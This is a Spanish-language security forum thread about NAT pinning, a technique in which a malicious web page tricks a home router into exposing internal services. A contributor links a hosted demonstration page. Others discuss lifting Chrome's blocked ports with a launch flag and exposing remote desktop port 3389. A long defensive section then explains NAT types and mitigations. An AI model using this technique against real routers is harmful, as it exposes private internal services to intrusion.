Formato swf: http://www.megaupload.com/?d=TG4N7WYN

Contraseña para descomprimir: El_Lider_DWFP

Saludos.
Vic_Thor
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 855
Registrado: Vie Ene 28, 2005 11:56 pm

Re: Y desde el Router Qué? Parte V

Notapor Yorkshire » Sab Sep 11, 2010 10:58 pm

Impresionante, amigo.... Impresionante.
Linux registered user #346840
Avatar de Usuario
Yorkshire
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 4488
Registrado: Mié Ene 26, 2005 5:05 pm
Ubicación: -<|:-P[G]

Re: Y desde el Router Qué? Parte V

Notapor neofito » Dom Sep 12, 2010 10:01 pm

Animo Vic_Thor, y gracias a ti por todo.

Un abrazo compañero
La verdad nos hara libres

http://neosysforensics.blogspot.com
http://www.wadalbertia.org
@neosysforensics
-<|:-P[G]
Avatar de Usuario
neofito
Wadalbertita
Wadalbertita
 
Mensajes: 1799
Registrado: Dom Ene 30, 2005 7:16 am
Ubicación: En algun lugar

Re: Y desde el Router Qué? Parte V

Notapor vlan7 » Mar Sep 14, 2010 2:02 am

Esto es impresionante. No tenia ni idea de los conceptos de los 2 ultimos videos.

Gracias por el tremendo curro.
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Y desde el Router Qué? Parte V

Notapor Vic_Thor » Mar Sep 14, 2010 3:41 am

vlan7 escribió:Esto es impresionante. No tenia ni idea de los conceptos de los 2 ultimos videos.

Gracias por el tremendo curro.


jeje... pues prepárate para este otro.... no "me atreví" a ponerlo porque no daba con la forma de expresarlo correctamente... allá va:

NAT PINNING

Este es un concepto realmente nuevo para muchos de nosotros…. Seguro que mas de uno ni tan siquiera lo ha oído nombrar.

Voy a empezar por el final.

Se trata de obligar al router a realizar un reenvío de paquetes hacia una máquina que está escuchando por un puerto cualquiera.

Hombre… eso es NAT, tampoco es para tanto….

Sí, pero…. ES QUE EL ROUTER NO ESTÁ HACIENDO NAT!!!!

Es decir, supongamos un router que BLOQUEA TODO el tráfico proveniente de Internet, no hay NAT, no hay DMZ, no hay mapeo de puertos, en resumen… que esa red NO OFRECE SERVICIOS HACIA EL EXTERIOR.

Y sin embargo, gracias a NAT pinning vamos a ser capaces de acceder a los servidores web internos, a los ftp internos, a lo-que-sea que está corriendo en la máquina local… sin XSS, sin CSRF, sin nada de lo que ya conocemos…y vamos a acceder a esos servicios DESDE INTERNET!!! Y CON EL ROUTER VICTIMA CON TODOS LOS PUERTOS CERRADOS!!!!

Y eso?

Pues gracias a una “característica” de los routers “modernos” NAT-T o NAT Transversal o también llamado NAT Transparente.

NAT-T es un “avance” para muchos servicios, sobre todo para la telefonía IP y consiste en que el router cuando se “da cuenta” que para acceder a un determinado protocolo el cliente debe abrir un puerto para comunicarse con el servidor… pues lo hace.

Realmente la comunicación NAT-T puede ser llamada cliente-cliente (como pueden ser las comunicaciones peer-to-peer o como ya he dicho VoIP)

De todos es sabido que cuando queremos ofrecer un servicio interno de cara a Internet tenemos que “abrir un puerto” que apunte hacia la máquina local…. Pero qué ocurre en las comunicaciones P2P o VoIP??? Pues que no sólo dependen de un puerto, también del usuario, cambian los puertos por cada conexión, etc…

Para solucionar este problema, los routers se hicieron más… inteligentes. Además de transmitir los paquetes analizan qué es lo que están transmitiendo, y cuando conocen el protocolo actúan de forma proactiva ‘abriendo’ temporalmente un puerto.

Chulo, verdad?

Pues sí… es muy chulo, pero cuando llega “alguien” y se quiere aprovechar de esto deja de ser chulo y se convierte en un peligro.

Obviamente los puertos “temporales” son dinámicos y no ofrecen servicio alguno… pero… y un usuario desde (un servidor web interno, por ejemplo) navega a una página “malvada” y esa página hace un “rebind” del puerto 80 gracias a NAT-T???

Pues el resultado final es que cualquiera podrá acceder a dicho Server interno desde Internet… cosa que ya no es chula.

Lo que vamos a realizar es una simulación de servicios… de la siguiente forma:

1.- EL router “vícitma” NO OFRECE ningún servicio hacia INTERNET
2.- El cliente “víctima” navega por la red usando como ordenata un servidor web interno y/o un servidor ftp interno.
Repito lo de interno… NO SE ACCEDE A ELLOS DESDE INTERNET.
3.- El cliente vícitma llega a una web “malvada” que “le obliga” a establecer una conexión hacia un servidor IRC por el puerto 6667 y hace un rebind de los puertos 80 y 21.

Aclaración: El servidor IRC no es “culpable de nada” ni tiene que ver en el ataque… usamos IRC para establecer una falsa comunicación DCC porque este protocolo necesita que el cliente abra un puerto “extra” y como el router es “inteligente” reconoce el protocolo y hace NAT-T por nosotros.

4.- Lo que hará esa web “maligna” es obligar al router a usar como puerto NAT-T temporal el mismísimo puerto 80… de tal forma que el cliente queda expuesto desde Internet… podremos acceder a ese servidor web desde fuera con los puertos del router CERRADOS:

Bien, la demostración “práctica” no es mia…. Se la debemos a Samy Kamkar y presentó esta técnica en BlackHat 2010

http://media.blackhat.com/bh-us-10/pres ... slides.pdf

Os recomiendo que también leáis otro “aporte” de este individuo que viene a decir algo así “Cómo conocí a tu chica” y que presentó en la DefCon 2010 de las Vegas (incluido en el enlace anterior) de tal forma que usando maps.google.com es capaz de localizar a una persona gracias a la MAC del router…. Bueno, y gracias al cochecito ese del Google Street View que además de sacar esas bonitas fotos para que veamos “en vivo” un lugar… de paso esnifa wifis, mac’s, ssid, etc… estos de Google.

A lo que vamos… he “ajustado” un poco el código base de Samy Kamkar (prácticamente adaptarlo al hosting y la visualización) para que lo podamos probar todos.

Está aquí: http://vmthor.site50.net/natp/natp.html

Os prometo que no “recojo” nada… jejeje…. Solo se fuerza AL router a abrir El puerto.

En el vídeo que viene a continuación lo veréis claro. También hay que comentar es que no todos los routers serán vulnerables a ello, pero apuesto a que aquellos que permiten NAT-T lo serán en su gran inmensa mayoría…

Disfrutad del vídeo, es “profundo”

[youtube]v/4Qof0Tzn1A4&hl=es&fs=1[/youtube]
Vic_Thor
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 855
Registrado: Vie Ene 28, 2005 11:56 pm

Re: Y desde el Router Qué? Parte V

Notapor okahei » Mar Sep 14, 2010 9:51 am

buffffffffffff :o

Lo he probado desde google chrome y no me funcionaba, mirando un poco el error que da el navegador al intentar la conexión contra el server IRC aparece esto :

Código: Seleccionar todo
Error 312 (net::ERR_UNSAFE_PORT): Error desconocido.


Después lo he probado desde Firefox y ONDIÁ !!!!

Simplemente acojonante.

un saludo y regracias.
-<|:·)
Avatar de Usuario
okahei
-<|:·þ
-<|:·þ
 
Mensajes: 3715
Registrado: Sab Ene 29, 2005 12:12 pm

Re: Y desde el Router Qué? Parte V

Notapor vlan7 » Mar Sep 14, 2010 1:37 pm

Vic_Thor, tampoco habia oido hablar del NAT-spinning. Yo para VoIP no he usado Nat-t, personalmente solo lo he usado para implementar VPNs con IPSec, ya que IPSec cifra las cabeceras donde estan IP y puerto. Pero bueno, vamos al problema de okahei, que me lio.

okahei, prueba esto:

chromium-browser --explicitly-allowed-ports=puerto

Si necesitaras mas puertos, puedes separarlos con comas.

Suerte,
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Y desde el Router Qué? Parte V

Notapor okahei » Mar Sep 14, 2010 2:53 pm

Gracias Vlan7, cuando me apareció ese error lo busqué y aparecía lo que posteas ;)

Esta tarde probaré a deshabilitar el Sip passthrou del router....

un saludo.
-<|:·)
Avatar de Usuario
okahei
-<|:·þ
-<|:·þ
 
Mensajes: 3715
Registrado: Sab Ene 29, 2005 12:12 pm

Re: Y desde el Router Qué? Parte V

Notapor Vic_Thor » Mar Sep 14, 2010 5:14 pm

También funciona con ALG Sip desactivado :embudito:

La verdad es que está muy curioso... y sí... en otros navegadores que no permiten "puertos confiables" no se conecta al servidor IRC.

He subido otra página que estoy probando... ya "funciona" casi con IE8 y con Chrome se lo "traga" si se pone como puerto de conexión 72203 :shock:

65536 + 6667 = 72203, teóricamente el navegador hace un 72203 mod 65536 y da como resultado 6667 y entonces Google Chrome "no chista" pero tampoco accede al IRC.

Lo voy a probar en "local" con los cisco y el gns3... ya os cuento.

Por cierto, okahei y demás que ya lo habéis comprobado... has probado a reflejar el puerto 3389 :P siiiiiii... abres el escritorio remoto!!!!

Saludos.
Vic_Thor
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 855
Registrado: Vie Ene 28, 2005 11:56 pm

Re: Y desde el Router Qué? Parte V

Notapor okahei » Mar Sep 14, 2010 7:04 pm

Vic_Thor escribió:También funciona con ALG Sip desactivado :embudito:

Por cierto, okahei y demás que ya lo habéis comprobado... has probado a reflejar el puerto 3389 :P siiiiiii... abres el escritorio remoto!!!!

Saludos.


Osti si con ALG Sip desactivado funciona también :S ya puedo cambiar de router jejeje


Esta mañana hablando con un compi del curro hemos llegado a la conclusión que mapeando el netbios en un winchof sin parchear... game over

¿Algún método para que el router no se coma "eso"?

un saludo.
-<|:·)
Avatar de Usuario
okahei
-<|:·þ
-<|:·þ
 
Mensajes: 3715
Registrado: Sab Ene 29, 2005 12:12 pm

Re: Y desde el Router Qué? Parte V

Notapor vlan7 » Mar Sep 14, 2010 9:56 pm

Mi preocupacion es como defenderme. Me he empapado de la info de tu hilo Vic_Thor y de la info de samy kamkar. Y la defensa es simplemente inexistente, o no la he sabido encontrar.

Bien, mi cuestion es la siguiente. Con un FW detras del router bastion configurado con reglas que denieguen todo acceso a maquinas/puertos de la LAN que no figuren en la tabla NAT del router, evitariamos en principio el NAT-pinning no? A ver si puedo probarlo. Y sobre la DMZ, bueno... se supone que solo personal autorizado tiene acceso a la DMZ no? :embudito: Asi que la unica defensa es no navegar desde servidores :D

Un saludo.
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Y desde el Router Qué? Parte V

Notapor Vic_Thor » Mié Sep 15, 2010 1:40 am

Defensa....

Desde el cliente es "mas o menos" sencillo:

    * Usar plugins o extensiones del tipo NoScript

    * Usar algún tipo de firewall local (hasta vale el de Windows) que nos avise cuando se produzca alguna conexión por puerto desconocido cuando se navega.

    * Configurar el navegador para restringir el acceso a puertos no confiables (como hace Chrome de "serie")
El problema viene cuando lo queremos parar desde el router y/o FW.

En los routers "domésticos" es a veces imposible, puesto que las ACL o filtros que tienen se basan mas en las conexiones entrantes que en las salientes... y como la conexión se originó desde dentro... pues lo deja pasar.

Otra posibilidad es desactivar NAT-T (si el router lo admite), creo que tengo que explicar algo mas de NAT y NAT-T para que se entienda bien la problemática.

Podríamos distinguir entre 4 tipos de NAT, que son:

Full NAT que viene a ser como operaría un host de la DMZ, todo lo que llega se le envía a él. Pero ojo!!! es posible utilizar FULL NAT en todos los equipos de la red (luego cuando veamos NAT-T se entenderá mejor) En este modo de Full-NAT las direcciones se traducen desde cualquier máquina de la red interna y pueden recibir cualquier tráfico entrante de Internet por cualquier puerto. Vamos... "tipo modem" abierto como una sandía....

Ejemplo: server 1, server 2, server 3... etc pueden acceder a la red interna por cualquier puerto.

Restricted NAT, En este caso se traducen las direcciones hacia un determinado host de Internet. El cliente abre su puerto dinámico para recibir las respuestas (y el router también) de tal forma que CUALQUIER otro host de internet se puede comunicar con el cliente interno por el puerto elegido.

Ejemplo: El cliente interno accede a Servidor 1 por el puerto 80 y el router abre un puerto dinámico (por ejemplo el 2222) para recibir las respuestas. Por tanto Servidor 1 se puede comunicar con el cliente por el puerto 2222, pero también podría hacer lo mismo servidor 2, servidor 3, etc... es decir cualquiera desde internet se puede comunicar con "nosotros" si lo hace por el puerto 2222.

Port Restricted NAT, muy parecido al anterior, pero el router sólo admitirá las respuestas por el puerto dinámico abierto si fueron establecidas desde dentro y sólo del host de Internet con el que se comunicó el cliente interno

Ejemplo: El cliente se comunica con Servidor 1 por el puerto 80 y se abre el puerto 2222 para recibir las respuestas. Servidor 1 puede acceder por el puerto 2222 pero servidor 2, servidor 3, etc... NO podrán.

NAT simétrico, también llamado nat-to-nat, cualquier petición de una ip interna y puerto hacia alguna ip destino y puerto destino se "mapean" a una única ip externa y a un único puerto. Solamnete los host externos que reciben paquetes de la red interna pueden enviar tráfico UDP de vuelta a la red interna. Por cada conjunto ip-puerto externo se crea un mapa NAT diferente.

Ejemplo: esto se usa a menudo en VPN's cuando la red interna o cliente VPN utiliza el mismo rango de red que la red destino.

Bueno, también tendríamos otro caso de NAT, que es cuando queremos ofrecer un servicio interno de cara al exterior... Se mapean puertos/protcolos hacia una o varias ip's de la red interna.

Ejemplo: Queremos poner un servidor web interno para que sea accesible desde internet.


Vale, ahora veamos NAT-T.

Como ya dije, las comunicaciones "modernas" a veces exigen que mas de un puerto sea abierto, VoIP, VPN's, P2P, etc.. esos puertos abiertos "según el tipo de comunicación" son temporales y no es necesario la intervención del usuario.

No sólo ocurre esto con "servicios" (VoIP, vpn...) también con aplicaciones... por ejemplo skype, emule, etc...

Para ello se "inventó" Nat transversal y podemos distinguir 4 tipos básicos:

1.- UPnP La arquitectura UPnP permite a los desarroladores de aplicaciomes, redes P2P, WiFi, etc... conectar los dispositivos automáticamente sin necesidad de hacer NAT específicamente para cada puerto, usuario, dispositivo.

Cuando una máquina necesita una conexión, UpnP configura automáticamente el router con su dirección ip y puerto NAT traversal con UPnP se cono IGD (Internet Gateway Device) que en definitiva no es otra cosa que un protocolo mas.

La desventaja de UPnP es que todos los dispositivos de la red deben soportarlo, si uno solo no lo permite... pues no se puede realizar la comunicación peer-to-peer.

2.- STUN. Es otro protocolo, usado normalmente entre cliente y servidor. La aplicación del cliente envía las solicitudes correspondientes al server STUN (como puede ser nuestro server del IRC del ejemplo) y el servidor le devuelve al router la dirección ip global por la que tiene que hacer NAT y también informa del número de puerto por la que le llegará el tráfico hacia la red privada (este es nuestro caso "problemático")

STUN también determina el tipo de NAT a usar (restricted port, full nat, restricted nat.) STUN no trabaja con NAT simétrico pero lo hace bien con los otros tres tipos. Por lo general, el protocolo STUN utiliza Restricted NAT.

3.- Teredo. Es otro protocolo propuesto por Microsoft basado en la tecnología de túnel de IPv6. Un cliente Teredo obtiene la dirección IPv6 de un Teredo Server y se comunican con otros clientes Teredo's mediante nodos IPv6 a través de un Teredo Relay, utilizando túneles UDP en IPv4 (4, no 6)

Teredo tampoco es compatible con NAT simétrico, bueno, no funcina bien.

4.- UDP multihole punching. Este método establece conexiones mediante UDP entre dos puntos finales a trvés de NAT.

Controla el número de puerto y valores como el TTL y lo podemos usar con NAT simétrico. También funciona ok con los otros tipos de NAT.

Realmente este tipo de NAT-T es una "extensión" del NAT Transversal para TCP y tiene como ventaja que las comunicaciones UDP son "mas sencillas" que las TCP

Bufff. perdonad por el rollo, pero me parecía importante explicar la teoría para que entendamos como parar esto del NAT Pinning. :x

Vale... y???

Pues que como empecé... en los routers (si lo permiten) tendremos que desactivar UPnP, IGD, STUN, Teredo y el multihole de udp.

Esto no es "usual" en los routers domésticos... En algunos podemos "filtrar" las conexiones salientes por determinados puertos y en el caso de los host de una DMZ con mas motivo. Vamos, que hay que tener un router "en condiciones" y a veces ni eso... por ejemplo, muchas de las IOS de Cisco (hasta las mas modernas) no permiten desabilitar NAT-T para determinadas conexiones... es decir, o lo desactivamos o lo activamos... Hay que usar un PIX para proteger (sobretodo) a la DMZ.

También hay que tener en cuenta, que NAT-T puede ser necesario (repito, VoIp y vpn son los mejores ejemplos de ello)

Lo mejor... de cara al cliente... es mas sencillo y tenemos mas recursos.

En cuanto a lo de esnifar la conexión... pues no se me ocurre nada porque no sólo se puede usar un server IRC para obligar a hacer NAT-T, puede ser FTP, SIP, etc, etc, etc... hasta ni eso... puede ser cualquier puerto o servicio... siempre que el atacante utilice un STUN server por ese puerto e informe al router víctima que haga NAT-T.

Pues eso... culturilla que nunca viene mal.
Vic_Thor
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 855
Registrado: Vie Ene 28, 2005 11:56 pm

Siguiente

Volver a Seguridad

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 3 invitados

cron